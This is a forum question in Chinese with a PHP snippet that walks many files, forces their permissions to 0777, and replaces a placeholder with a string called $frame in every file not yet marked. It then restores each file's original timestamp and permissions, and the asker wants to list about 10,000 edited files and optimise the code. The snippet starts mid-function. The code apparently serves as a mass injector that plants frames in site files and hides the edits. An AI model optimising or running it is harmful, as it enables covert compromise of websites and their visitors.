我有一个脚本块,其中包含创建和编辑的文件
foreach ($files as $file)
{
$info['founded']++;
$Checkfile = file_get_contents($file);
if(!strpos($Checkfile, $searchfor))
{ //If string NOT exists in the file
$p_chmod=substr(sprintf('%o', fileperms($file)), -4); //Get file perm value
if (!is_writable($file))
{ //if is NOT writable
if(chmod($file,0777)) //Try to set perm
{ //If perm sett
$t_mod=@filemtime($file);
$str=file_get_contents($file);
$sub_count= substr_count($str,$place);
if ($sub_count>0)
{
$info['replaces'] += $sub_count;
$info['edited_files']++;
$str=str_replace($place,$frame,$str);
file_put_contents($file,$str);
@touch($file,$t_mod,$t_mod);
@chmod($file,$p_chmod);
}
} //If perm NOT sett
else $info['nowritable']++;
}
} //if file is writable
else
{
$t_mod=@filemtime($file);
$str=file_get_contents($file);
$sub_count= substr_count($str,$place);
if ($sub_count>0)
{
$info['replaces'] += $sub_count;
$info['edited_files']++;
$str=str_replace($place,$frame,$str);
file_put_contents($file,$str);
@touch($file,$t_mod,$t_mod);
@chmod($file,$p_chmod);
}
}
}
else //If string exists in the file
{
$info['exist_files']++;
}
return $info;
}
以及如何回显已创建的文件,例如
$info['foundedFiles']= text & \n & text;
echo $info['foundedFiles']
如果创建的文件大约为 10000,该怎么办?需要很多页面源吗?也许在滚动框中回显,但是如何在不写入磁盘的情况下做到这一点?
如何优化这段代码?